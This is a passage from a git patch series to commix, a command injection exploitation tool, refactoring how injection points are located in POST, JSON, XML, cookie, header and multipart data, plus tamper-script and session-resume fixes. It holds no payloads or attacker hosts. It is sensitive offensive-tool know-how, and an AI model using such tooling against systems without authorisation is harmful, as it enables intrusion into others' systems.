''.join(all_params[param]).replace(">" + settings.INJECT_TAG + "" + settings.INJECT_TAG + " 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") - parameter = settings.POST_DATA_PARAM_DELIMITER.join(all_params) - parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") - if settings.IS_JSON: - if (len(all_params)) == 1 and settings.INJECT_TAG not in all_params[param]: - parameter = parameter.replace(value, value + settings.INJECT_TAG) - parameter = json_int_check(parameter, value) - if type(parameter) != list: - parameters_list.append(parameter) - parameter = parameters_list - else: - for param in range(0, len(multi_parameters)): - # Grab the value of parameter. - value = multi_params_get_value(param, multi_parameters) - parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) - parameter = parameter.replace(settings.RANDOM_TAG, "") - if settings.IS_JSON and settings.INJECT_TAG in multi_parameters[param]: - parameter = json_int_check(parameter, value) - break - return parameter + parameter = settings.POST_DATA_PARAM_DELIMITER.join(all_params) + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") + if settings.IS_JSON: + if (len(all_params)) == 1 and settings.INJECT_TAG not in all_params[param]: + parameter = parameter.replace(value, value + settings.INJECT_TAG) + parameter = json_int_check(parameter, value) + # Skip candidates where no tag actually got placed (e.g. an XML + # wrapper line, or a JSON fragment whose value is itself nested). + if type(parameter) != list and settings.INJECT_TAG in parameter: + parameters_list.append(parameter) + elif settings.IS_JSON and original_json_text: + parameters_list.extend(json_nested_leaf_candidates(original_fragment, original_json_text)) + parameter = parameters_list + else: + for param in range(0, len(multi_parameters)): + # Grab the value of parameter. + value = multi_params_get_value(param, multi_parameters) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) + parameter = parameter.replace(settings.RANDOM_TAG, "") + if settings.IS_JSON and settings.INJECT_TAG in multi_parameters[param]: + parameter = json_int_check(parameter, value) + break + return parameter + +""" +Check if the 'INJECT_HERE' tag, is specified on POST Requests. +""" +def do_POST_check(parameter, http_request_method): + parameter = configure_post_data_format(parameter, http_request_method) + if parameter is None: + return "" + + multi_parameters, parameter = split_post_parameters(parameter) + + _ = [] + _.append(parameter) + parameter = ''.join(checks.check_similarities(_)) + # Check if single parameter is supplied. + if len(multi_parameters) == 1: + return handle_single_post_parameter(parameter, multi_parameters, http_request_method) + else: + return handle_multiple_post_parameters(parameter, multi_parameters, http_request_method) """ Define the vulnerable POST parameter. @@ -466,68 +594,56 @@ def json_format(parameter): def vuln_POST_param(parameter, url): if isinstance(parameter, list): parameter = " ".join(parameter) + vuln_parameter = None # JSON data format. if settings.IS_JSON: - parameter = json.loads(parameter, object_pairs_hook=OrderedDict) - parameter = flatten(parameter) - parameter = json.dumps(parameter) - parameters = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0].replace(",\"", settings.RANDOM_TAG + "\"")) - parameters = ''.join(parameters.split(", ")[-1:]).strip() - parameters = ''.join(parameters.split(":")[0]).strip() - # Converts a key into a dot notation format, suitable for hierarchical or flattened structures. - parameters = re.sub(r'(\.(\d+))\.', r'[\2].', parameters.replace('_', '.')) - settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) + flat = flatten(json.loads(parameter, object_pairs_hook=OrderedDict)) + vuln_key = None + for key in flat: + if settings.INJECT_TAG in str(flat[key]): + vuln_key = key + break + if vuln_key is None: + return parameter + # Convert key to dot notation. + key_parts = vuln_key.split(settings.FLATTEN_JSON_SEPARATOR) + vuln_parameter = key_parts[0] + for key_part in key_parts[1:]: + vuln_parameter += "[" + key_part + "]" if key_part.isdigit() else "." + key_part + settings.TESTABLE_VALUE = str(flat[vuln_key]).split(settings.INJECT_TAG)[0] if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - # settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] - # settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] # XML data format. elif settings.IS_XML: - parameters = list(parameter.replace(">" + settings.END_LINE.LF + "". + parameters = list(re.sub(r"(?" + settings.END_LINE.LF + "'), '', item) if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - _ = (re.search('<(.*)>' + result + '', item)) - if _ and (_.groups()[0]) == (_.groups()[1]): + # Match tag name (tolerating attributes) against its closing tag. + _ = re.search(r'<([^\s>/]+)[^>]*>(.*)]+)>', item, re.S) + if _ and (_.groups()[0]) == (_.groups()[2]): vuln_parameter = ''.join(_.groups()[0]) + result = unwrap_cdata(_.groups()[1]) if settings.CUSTOM_INJECTION_MARKER: - try: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] - except Exception: - pass + register_custom_injection_marker(vuln_parameter, result) settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] # Regular POST data format. else: - if re.search(r"" + settings.POST_DATA_PARAM_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ - re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): - pairs = parameter.split(settings.POST_DATA_PARAM_DELIMITER) - pairs[:] = [param for param in pairs if any(value in param for value in ["="])] - for param in range(0,len(pairs)): - if settings.INJECT_TAG in pairs[param]: - vuln_parameter = pairs[param].split("=")[0] - if settings.CUSTOM_INJECTION_MARKER: - try: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] - except Exception: - pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") - if settings.BASE64_PADDING in pairs[param]: - settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING - break - - if 'vuln_parameter' not in locals(): + # Allow a value with a space, and escape the delimiter (--pdel). + if re.search(re.escape(settings.POST_DATA_PARAM_DELIMITER) + r"(.*)=.*" + settings.INJECT_TAG, parameter) or \ + re.search(r"(.*)=.*" + settings.INJECT_TAG , parameter): + vuln_parameter = extract_vuln_param_from_pairs(parameter, settings.POST_DATA_PARAM_DELIMITER, check_base64_padding=True) + + if vuln_parameter is None: return parameter return vuln_parameter @@ -558,17 +674,9 @@ def prefixes(payload, prefix): parameter = menu.options.host specify_host_parameter(parameter) - _ = True - pre_custom = settings.TESTABLE_VALUE - if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: - pre_custom = settings.PRE_CUSTOM_INJECTION_MARKER_CHAR - elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): - pre_custom = "" - _ = False - - if _: - if not pre_custom in prefix: - prefix = pre_custom + prefix + pre_custom = resolve_marker_component(settings.TESTABLE_VALUE, settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) + if pre_custom is not None and pre_custom not in prefix: + prefix = pre_custom + prefix # Check if defined "--prefix" option. if menu.options.prefix and not settings.LOAD_SESSION: if not menu.options.prefix in prefix: @@ -589,17 +697,9 @@ def suffixes(payload, suffix): if settings.COOKIE_INJECTION and suffix == settings.COOKIE_PARAM_DELIMITER: suffix = "" - _ = True - post_custom = "" - if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: - post_custom = settings.POST_CUSTOM_INJECTION_MARKER_CHAR - elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): - post_custom = "" - _ = False - - if _: - if not post_custom in suffix: - suffix = suffix + post_custom + post_custom = resolve_marker_component("", settings.POST_CUSTOM_INJECTION_MARKER_CHAR) + if post_custom is not None and post_custom not in suffix: + suffix = suffix + post_custom # Check if defined "--suffix" option. if menu.options.suffix and not settings.LOAD_SESSION: if not menu.options.suffix in suffix: @@ -613,24 +713,17 @@ def suffixes(payload, suffix): The cookie based injection. """ def do_cookie_check(cookie): + multi_params_get_value = get_kv_value - """ - Grab the value of parameter. - """ - def multi_params_get_value(parameter): - value = re.findall(r'=(.*)', parameter) - value = ''.join(value) - return value - - # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + # Replace with INJECT_HERE, honoring the custom marker character. cookie = checks.process_custom_injection_data(cookie) try: - multi_parameters = cookie.split(settings.COOKIE_PARAM_DELIMITER) + # Strip only the leading space left by the "; " convention. + multi_parameters = [param.lstrip(settings.SINGLE_WHITESPACE) for param in cookie.split(settings.COOKIE_PARAM_DELIMITER)] except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): if len([s for s in multi_parameters if "=" in s]) == 0: checks.no_parameters_found() @@ -656,12 +749,7 @@ def multi_params_get_value(parameter): if len(value) == 0: cookie = cookie + settings.INJECT_TAG else: - if settings.CUSTOM_INJECTION_MARKER: - if settings.ASTERISK_MARKER in value: - cookie = cookie.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) - else: - if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: - cookie = cookie.replace(value, value + settings.INJECT_TAG) + cookie = apply_tag_to_value(cookie, value) cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return cookie @@ -669,8 +757,7 @@ def multi_params_get_value(parameter): # Check if multiple parameters are supplied. else: cookies_list = [] - all_params = settings.COOKIE_PARAM_DELIMITER.join(multi_parameters) - all_params = all_params.split(settings.COOKIE_PARAM_DELIMITER) + all_params = list(multi_parameters) all_params = checks.check_similarities(all_params) # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in cookie: @@ -678,15 +765,12 @@ def multi_params_get_value(parameter): if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie for param in range(0, len(all_params)): - if param == 0 : - old = multi_params_get_value(all_params[param]) - else : - old = value # Grab the value of cookie. value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): - all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Ignoring the Google analytics cookie parameter. if checks.ignore_google_analytics_cookie(all_params[param]): @@ -696,23 +780,15 @@ def multi_params_get_value(parameter): if not menu.options.skip_empty: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - if settings.CUSTOM_INJECTION_MARKER: - if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) - else: - if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_PARAM_DELIMITER.join(all_params) cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list else: - for param in range(0, len(multi_parameters)): - # Grab the value of parameter. - value = re.findall(r'=(.*)', multi_parameters[param]) - value = ''.join(value) cookie = settings.COOKIE_PARAM_DELIMITER.join(multi_parameters) cookie = cookie.replace(settings.RANDOM_TAG, "") @@ -723,27 +799,15 @@ def multi_params_get_value(parameter): """ def specify_cookie_parameter(cookie): # Specify the vulnerable cookie parameter - if re.search(r"" + settings.COOKIE_PARAM_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ - re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): - pairs = cookie.split(settings.COOKIE_PARAM_DELIMITER) - pairs[:] = [param for param in pairs if any(value in param for value in ["="])] - for param in range(0,len(pairs)): - if settings.INJECT_TAG in pairs[param]: - vuln_parameter = pairs[param].split("=")[0] - if settings.CUSTOM_INJECTION_MARKER: - try: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] - except Exception: - pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") - break + vuln_parameter = None + # Allow a value with a space, and escape the delimiter (--cdel). + if re.search(re.escape(settings.COOKIE_PARAM_DELIMITER) + r"(.*)=.*" + settings.INJECT_TAG, cookie) or \ + re.search(r"(.*)=.*" + settings.INJECT_TAG , cookie): + vuln_parameter = extract_vuln_param_from_pairs(cookie, settings.COOKIE_PARAM_DELIMITER, strip_leading_space=True) else: vuln_parameter = cookie - if 'vuln_parameter' not in locals(): + if vuln_parameter is None: return cookie return vuln_parameter @@ -753,26 +817,20 @@ def specify_cookie_parameter(cookie): """ def specify_header_injection_parameter(header_value, header_name): try: - # Replace placeholder asterisk with actual injection tag settings.TESTABLE_VALUE = checks.process_custom_injection_data(header_value).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - # If a custom injection marker is in use and detected in the value if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - # Track which headers are involved in the injection process if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) - # Keep a list of actual header values that were testable if header_value not in settings.TESTABLE_PARAMETERS_LIST: settings.TESTABLE_PARAMETERS_LIST.append(header_value) - # Split the value at the injection tag to get surrounding characters split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' except (AttributeError, IndexError): - # Gracefully ignore errors from missing attributes or bad splits pass return header_value @@ -801,5 +859,102 @@ def specify_host_parameter(host): def specify_custom_header_parameter(custom_header_value): return specify_header_injection_parameter(custom_header_value, settings.CUSTOM_HEADER_NAME) +""" +A multipart field: name, value, and occurrence index. +""" +class Parameter(object): + + def __init__(self, name, value, occurrence=0): + self.name = name + self.value = value + self.occurrence = occurrence + +""" +Index of the N-th (0-indexed) occurrence of 'substring' in 'text', or -1. +""" +def find_occurrence(text, substring, n): + if not substring: + return -1 + start = 0 + for _ in range(n + 1): + index = text.find(substring, start) + if index == -1: + return -1 + start = index + 1 + return index + +""" +Insert 'marker' right after the N-th occurrence of 'value' in 'text'. +""" +def place_marker(text, value, occurrence, marker): + index = find_occurrence(text, value, occurrence) + if index == -1: + err_msg = "It seems the requested value could not be found in the provided data." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + end = index + len(value) + return text[:end] + marker + text[end:] + +""" +Builds one candidate variant of 'text' per parameter, marker after its value. +""" +def build_variants(text, parameters, insert_empty, marker=None): + if marker is None: + marker = settings.INJECT_TAG + variants = [] + for parameter in parameters: + if not parameter.value: + if menu.options.skip_empty: + continue + variants.append(insert_empty(text, parameter)) + else: + variants.append(place_marker(text, parameter.value, parameter.occurrence, marker)) + return variants + +""" +Parses a 'multipart/form-data' body into a list of Parameters. +""" +def get_multipart_parameters(data, boundary): + delimiter = "--" + boundary + parameters = [] + # Track occurrences instead of data.find(), which always matches the first. + seen_counts = {} + for part in data.split(delimiter)[1:-1]: + part = part.lstrip(settings.END_LINE.CRLF) + match = re.search(r"(\r\n\r\n|\n\n)", part) + if not match: + continue + part_headers, part_body = part[:match.start()], part[match.end():] + part_body = re.sub(r"(\r\n|\n)\Z", "", part_body) + name_match = re.search(r'name="([^"]*)"', part_headers) + if not name_match: + continue + name = name_match.group(1) + filename_match = re.search(r'filename="([^"]*)"', part_headers) + if filename_match: + filename = filename_match.group(1) + occurrence = seen_counts.get(filename, 0) + seen_counts[filename] = occurrence + 1 + parameters.append(Parameter(name + "[filename]", filename, occurrence)) + if part_body: + occurrence = seen_counts.get(part_body, 0) + seen_counts[part_body] = occurrence + 1 + parameters.append(Parameter(name, part_body, occurrence)) + else: + parameters.append(Parameter(name, "")) + return parameters + +""" +'insert_empty' for multipart: marker after the empty field's blank line. +""" +def insert_empty_multipart(text, parameter): + pattern = r'name="' + re.escape(parameter.name) + r'"[^\r\n]*(\r\n\r\n|\n\n)' + match = re.search(pattern, text) + if not match: + err_msg = "It seems the empty field '" + parameter.name + "' could not be found in the provided data." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + return text[:match.end()] + settings.INJECT_TAG + text[match.end():] + # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 6e4a457db3..422e835882 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -188,7 +188,7 @@ def estimate_response_time(url, timesec, http_request_method): if not menu.options.auth_cred: try: stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower()) - except: + except (Exception, SystemExit): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds @@ -208,7 +208,6 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -237,7 +236,6 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -291,9 +289,6 @@ def estimate_response_time(url, timesec, http_request_method): else: timesec = int(timesec) - # Against windows targets (for more stability), add one extra second delay. - # if settings.TARGET_OS == settings.OS.WINDOWS : - # timesec = timesec + 1 return timesec, url_time_response """ @@ -504,13 +499,13 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.normalize_newlines(payload) - # payload = checks.payload_fixation(payload) - # payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: - cookie = checks.process_injectable_value(payload, menu.options.cookie) - # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): - # request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)) - # else: + # Percent-encode before inserting into the cookie value - ";" is the + # cookie-attribute delimiter itself, so a raw separator/space/etc. in + # the payload would truncate or corrupt the cookie. PHP's $_COOKIE + # decodes this automatically, same as $_GET. + encoded_payload = _urllib.parse.quote(payload, safe=settings.SAFE_QUERY) + cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie) request.add_header(settings.COOKIE, cookie) try: headers.check_http_traffic(request) @@ -683,9 +678,6 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.normalize_newlines(payload) - # if settings.CUSTOM_HEADER_VALUE in settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, ""): - # request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload)) - # else: request.add_header(settings.CUSTOM_HEADER_NAME, payload) try: headers.check_http_traffic(request) @@ -730,7 +722,7 @@ def encoding_detection(response): content_bytes = response.read() try: content_text = content_bytes.decode("utf-8", errors="ignore") - except: + except (Exception, SystemExit): content_text = "" # 1. Get charset from HTTP header (may be None) @@ -739,7 +731,7 @@ def encoding_detection(response): except AttributeError: try: header_charset = response.headers.get_content_charset() # Python 3 - except: + except (Exception, SystemExit): header_charset = None if header_charset: diff --git a/src/utils/settings.py b/src/utils/settings.py index f074643c85..d42fb35030 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -264,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "66" +REVISION = "67" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e8966002c62772f6a0d4f7c7eb70c3f0f95c417a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Aug 2026 08:13:48 +0300 Subject: [PATCH 0724/1023] Improved stored-session resume handling --- doc/CHANGELOG.md | 2 +- .../blind/techniques/time_based/tb_handler.py | 5 +- src/core/injections/controller/checks.py | 65 +++--- src/core/injections/controller/controller.py | 17 +- src/core/injections/controller/handler.py | 44 ++-- src/core/injections/controller/injector.py | 7 +- .../techniques/file_based/fb_injector.py | 4 +- .../techniques/tempfile_based/tfb_injector.py | 4 +- src/core/requests/parameters.py | 12 +- src/core/tamper/randomcase.py | 2 +- src/core/tamper/rev.py | 2 +- src/utils/session_handler.py | 217 +++++++++--------- src/utils/settings.py | 8 +- 13 files changed, 208 insertions(+), 181 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c063d038a1..08336b5aab 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,8 +1,8 @@ ## Version 4.2 (TBA) +* Revised: Improved stored-session resume handling. * Revised: Improved parameter parsing and injection point detection across all supported request formats. * Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques. * Revised: Refactored time-related techniques (i.e. "time-based", "tempfile-based") to use binary search for character extraction. -* Fixed: A stored session could restore a `--time-sec` value from an earlier run without re-applying the minimum safe delay, silently bypassing the safety floor on resumed sessions. * Revised: Refactored `--tor` proxy handling to route HTTP traffic using the configured URL scheme. * Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md). * Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md). diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 473d8577b6..2f276b0a79 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -52,8 +52,11 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: + result = tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + if result == False: return False + # Return when a technique was resumed or found; only False should continue prompting. + return result elif proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 53435426e6..5a504546ba 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -997,7 +997,9 @@ def continue_tests(err): common.invalid_option(continue_tests) pass except AttributeError: - pass + # No HTTP status for raw connection errors; report the failure instead of exiting silently. + settings.print_data_to_stdout(settings.print_critical_msg(err)) + return False except KeyboardInterrupt: raise @@ -1561,7 +1563,8 @@ def tamper_scripts(stored_tamper_scripts): info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for script in provided_scripts: - if "hexencode" or "base64encode" == script: + # Register each script once; duplicate entries would apply the same tamper twice. + if script not in settings.MULTI_ENCODED_PAYLOAD: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] if not stored_tamper_scripts: @@ -1580,9 +1583,11 @@ def tamper_scripts(stored_tamper_scripts): elif "backticks" == script and menu.options.alter_shell: warn_msg = "Option '--alter-shell' " if len(warn_msg) != 0: - if not stored_tamper_scripts: - warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Always warn and drop incompatible scripts, including resumed techniques. + warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if script in settings.MULTI_ENCODED_PAYLOAD: + settings.MULTI_ENCODED_PAYLOAD.remove(script) else: try: module = __import__(import_script, fromlist=[None]) @@ -1606,26 +1611,6 @@ def tamper_scripts(stored_tamper_scripts): warn_msg += "is not a good idea (may cause false positive / negative results)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) -""" -Check if the payload output seems to be hex. -""" -def hex_output(payload): - if not settings.TAMPER_SCRIPTS['hexencode']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",hexencode" - else: - menu.options.tamper = "hexencode" - -""" -Check if the payload output seems to be base64. -""" -def base64_output(payload): - if not settings.TAMPER_SCRIPTS['base64encode']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",base64encode" - else: - menu.options.tamper = "base64encode" - """ Check for modified whitespaces. """ @@ -1680,11 +1665,12 @@ def whitespace_check(payload): # Enable the "multiplespaces" tamper script. count_spaces = payload.count(settings.WHITESPACES[0]) if count_spaces > 15: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",multiplespaces" - else: - menu.options.tamper = "multiplespaces" - settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) + if not settings.TAMPER_SCRIPTS['multiplespaces']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",multiplespaces" + else: + menu.options.tamper = "multiplespaces" + settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) """ Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. @@ -1708,11 +1694,12 @@ def other_symbols(payload): # Check for (multiple) backticks (instead of "$()") for command substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",backticks" - else: - menu.options.tamper = "backticks" - settings.USE_BACKTICKS == True + if not settings.TAMPER_SCRIPTS['backticks']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",backticks" + else: + menu.options.tamper = "backticks" + settings.USE_BACKTICKS = True # Check for caret symbol if payload.count("^") >= 10: @@ -1795,7 +1782,7 @@ def check_encoders(payload): check_value = payload settings.MULTI_ENCODED_PAYLOAD = list(dict.fromkeys(settings.MULTI_ENCODED_PAYLOAD)) - for encode_type in settings.MULTI_ENCODED_PAYLOAD: + for encode_type in list(settings.MULTI_ENCODED_PAYLOAD): if encode_type == 'base64encode' or encode_type == 'hexencode': while True: message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] > " @@ -1904,6 +1891,7 @@ def check_for_stored_tamper(payload): decoded_payload, encoded_with = recognise_payload(payload) whitespace_check(decoded_payload) other_symbols(decoded_payload) + check_backslashes(decoded_payload) check_quotes(decoded_payload) tamper_scripts(stored_tamper_scripts=True) @@ -3022,8 +3010,9 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ def time_related_timesec(): 